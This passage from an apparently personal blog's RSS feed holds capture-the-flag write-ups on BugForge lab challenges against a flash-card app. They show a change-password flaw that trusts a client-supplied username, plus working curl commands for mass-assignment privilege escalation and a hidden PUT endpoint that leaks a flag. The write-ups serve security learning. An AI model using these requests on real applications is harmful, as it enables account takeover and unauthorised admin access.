style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/verify-token             - whoami&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/profile/change-password  - body {username, newPassword}   &amp;lt;-- note: no current password&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/community                - public decks (leaks contributor usernames)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET  /api/admin/users              - admin only&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/forgot-password          - body {email}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;POST /api/reset-password           - body {token, password}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start=&#34;3&#34;&gt;&#xA;&lt;li&gt;Users&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;id:1 - admin (role: admin)   &amp;lt;-- target&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;id:N - &amp;lt;your registered user&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;The standout is &lt;code&gt;POST /api/profile/change-password&lt;/code&gt;. Here is what the frontend (&lt;code&gt;Settings.js&lt;/code&gt;) actually sends:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6272a4&#34;&gt;// Settings.js&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff79c6&#34;&gt;const&lt;/span&gt; response &lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff79c6&#34;&gt;await&lt;/span&gt; axios.post(&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;/api/profile/change-password&amp;#39;&lt;/span&gt;, {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  username&lt;span style=&#34;color:#ff79c6&#34;&gt;:&lt;/span&gt; user.username,   &lt;span style=&#34;color:#6272a4&#34;&gt;// identity comes from the CLIENT, not the server&amp;#39;s token&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  newPassword,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;});&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;Two things jump out: the &lt;strong&gt;target username is taken from the request body&lt;/strong&gt;, and there is &lt;strong&gt;no current-password field&lt;/strong&gt;. If the server trusts that body value, you could set anyone&amp;rsquo;s password. That is the thread to pull.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;mapping-the-servers-checks&#34;&gt;Mapping the server&amp;rsquo;s checks&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First, set a baseline: register a user and get a token&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-http&#34; data-lang=&#34;http&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#50fa7b&#34;&gt;POST&lt;/span&gt; /api/register &lt;span style=&#34;color:#ff79c6&#34;&gt;HTTP&lt;/span&gt;&lt;span style=&#34;color:#ff79c6&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#bd93f9&#34;&gt;1.1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host&lt;span style=&#34;color:#ff79c6&#34;&gt;:&lt;/span&gt; &amp;lt;lab-host&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Type&lt;span style=&#34;color:#ff79c6&#34;&gt;:&lt;/span&gt; application/json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;username&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;pwn_zk1&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;pwn_zk1@test.local&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;password&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;Pwn3dPass!23&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;full_name&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;zk one&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Response: &lt;code&gt;200&lt;/code&gt; with a JWT for &lt;code&gt;id:4, username: pwn_zk1&lt;/code&gt;. The token has no &lt;code&gt;role&lt;/code&gt; claim - role is decided server-side.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Tanuki - IDOR</title>
				<link>https://johnmatrix.org/bugforge/bf-tanuki-idor/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-tanuki-idor/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Very cool lab today!&lt;/li&gt;&#xA;&lt;li&gt;I started getting more comfortable recently in ways of testing, so now more often I will create two users just to make sure I test for multiple different things&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Created &lt;code&gt;tester1&lt;/code&gt; and &lt;code&gt;tester2&lt;/code&gt;, then clicked around to understand the application&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;picture&gt;&#xA;      &lt;source type=&#34;image/webp&#34; srcset=&#34;https://johnmatrix.org/bugforge/bf-tanuki-idor/tanuki-1_hu_ddcba1439f8d7a28.webp 1x, https://johnmatrix.org/bugforge/bf-tanuki-idor/tanuki-1_hu_2108de9ea53923a1.webp 2x&#34;&gt;&#xA;      &lt;img src=&#34;https://johnmatrix.org/bugforge/bf-tanuki-idor/tanuki-1_hu_2e11c83480e25955.png&#34; alt=&#34;Daily&#34; width=&#34;1000&#34; height=&#34;479&#34; loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;    &lt;/picture&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Tanuki - Mass Assign</title>
				<link>https://johnmatrix.org/bugforge/bf-tanuki-mass-assign/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-tanuki-mass-assign/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Tanuki - SRS Flash Cards&lt;/li&gt;&#xA;&lt;li&gt;Vulnerability: Mass Assignment + Broken Access Control on Stats endpoint&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I will showcase two ways as my first approach was different to another user&amp;rsquo;s who submitted the flag first&lt;/li&gt;&#xA;&lt;li&gt;After registering and browsing the app through Caido proxy, I extracted all API routes from the JS bundle:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6272a4&#34;&gt;# Set your lab URL&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;TARGET&lt;/span&gt;&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;https://lab-XXXXX.labs-app.bugforge.io&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -sk -o /tmp/app.js &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;$TARGET&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;/static/js/main.22728e1f.js&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;grep -o &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;&amp;#34;/api/[^&amp;#34;]*&amp;#34;&amp;#39;&lt;/span&gt; /tmp/app.js | sort | uniq&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;#34;/api/admin/cards&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;#34;/api/admin/decks&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;#34;/api/admin/flag&amp;#34;      &amp;lt;-- interesting&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;#34;/api/admin/users&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;#34;/api/decks&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;#34;/api/login&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;#34;/api/register&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;#34;/api/stats&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;#34;/api/study/progress&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;#34;/api/study/session&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;#34;/api/study/sessions&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;#34;/api/verify-token&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;&#xA;&lt;h2 id=&#34;path-1-mass-assignment-on-registration-privilege-escalation&#34;&gt;Path 1: Mass Assignment on Registration (Privilege Escalation)&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The registration request seen in Caido proxy sends a &lt;code&gt;role&lt;/code&gt; field from the client:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;username&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;tester&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;test@test.com&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;password&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;pass123&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;full_name&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;role&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;user&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;The server blindly accepts whatever role you pass.&lt;/li&gt;&#xA;&lt;li&gt;Register with &lt;code&gt;role: &amp;quot;admin&amp;quot;&lt;/code&gt;:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -sk -X POST &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;$TARGET&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;/api/register&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -H &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;Content-Type: application/json&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -d &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;{&amp;#34;username&amp;#34;:&amp;#34;hacker&amp;#34;,&amp;#34;email&amp;#34;:&amp;#34;h@test.com&amp;#34;,&amp;#34;password&amp;#34;:&amp;#34;pass123&amp;#34;,&amp;#34;full_name&amp;#34;:&amp;#34;&amp;#34;,&amp;#34;role&amp;#34;:&amp;#34;admin&amp;#34;}&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;Response confirms admin role assigned:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;token&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;eyJhbG...&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;user&amp;#34;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#bd93f9&#34;&gt;5&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;username&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;hacker&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;h@test.com&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;full_name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;role&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;admin&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;Use the admin JWT from the response to hit the flag endpoint:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6272a4&#34;&gt;# Copy the token from the register response above&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;ADMIN_TOKEN&lt;/span&gt;&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;eyJhbG...&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -sk -H &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;Authorization: Bearer &lt;/span&gt;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;$ADMIN_TOKEN&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;$TARGET&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;/api/admin/flag&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;flag&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;bug{IZB0b08mytMDc418n4wzsjCR2JGyNSIl}&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;A regular user gets blocked:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;error&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;Admin access required&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;&#xA;&lt;h2 id=&#34;path-2-put-apistats-no-admin-needed&#34;&gt;Path 2: PUT /api/stats (No Admin Needed)&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;code&gt;/api/stats&lt;/code&gt; endpoint accepts &lt;code&gt;PUT&lt;/code&gt; requests and leaks the flag in the response.&lt;/li&gt;&#xA;&lt;li&gt;This works with &lt;strong&gt;any authenticated user&lt;/strong&gt; - no privilege escalation required&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6272a4&#34;&gt;# Any valid JWT works here - grab it from /api/register or /api/login response&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;USER_TOKEN&lt;/span&gt;&lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;eyJhbG...&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -sk -X PUT &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;$TARGET&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;/api/stats&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -H &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;Authorization: Bearer &lt;/span&gt;&lt;span style=&#34;color:#8be9fd;font-style:italic&#34;&gt;$USER_TOKEN&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -H &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;Content-Type: application/json&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#f1fa8c&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -d &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;{}&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;Stats updated successfully&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;stats&amp;#34;&lt;/span&gt;: {},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff79c6&#34;&gt;&amp;#34;flag&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;bug{IZB0b08mytMDc418n4wzsjCR2JGyNSIl}&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;This is a &lt;strong&gt;hidden HTTP method&lt;/strong&gt; vulnerability - the app only uses &lt;code&gt;GET /api/stats&lt;/code&gt; in the frontend, but the backend also accepts &lt;code&gt;PUT&lt;/code&gt; and returns the flag in the response body.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 